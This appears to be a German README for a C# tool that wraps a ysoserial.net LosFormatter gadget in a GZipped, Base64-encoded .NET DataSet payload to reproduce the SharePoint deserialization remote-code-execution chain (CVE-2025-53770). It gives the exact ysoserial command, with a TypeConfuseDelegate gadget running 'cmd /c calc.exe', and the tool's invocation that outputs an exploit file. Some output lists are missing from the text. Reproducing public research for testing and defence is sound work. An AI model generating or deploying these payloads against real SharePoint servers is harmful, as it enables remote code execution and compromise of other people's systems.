
C#-Tool, das einen GZipped, Base64-encoded .NET DataSet-Payload mit LosFormatter erstellt, um die SharePoint-Deserialisierungs-RCE-Kette (CVE-2025-53770) zu reproduzieren.
Dies ist ein einfaches C#-Tool, das einen GZip-komprimierten, Base64-kodierten .NET DataSet-Payload unter Verwendung eines LosFormatter-kodierten inneren Payloads erstellt. Es wurde entwickelt, um die in öffentlicher Forschung beschriebene SharePoint-Deserialisierungs-RCE-Kette nachzuvollziehen.
Du gibst ihm einen Base64-kodierten Payload (z. B. von ysoserial.net), und es:
.b64-DateiErzeuge zuerst deinen Payload mit ysoserial.net:
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
Führe dann das Tool aus:
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
Dies erzeugt:
Wenn du --a, --b oder --c nicht angibst, generiert das Tool zufällige Kleinbuchstaben-Namen.
Hinweise
Dieses Tool validiert oder überprüft den von dir bereitgestellten Payload nicht.
Wenn du lokal testest und manuell deserialisierst, könnte es zur Ausführung kommen (z. B. einen Taschenrechner öffnen).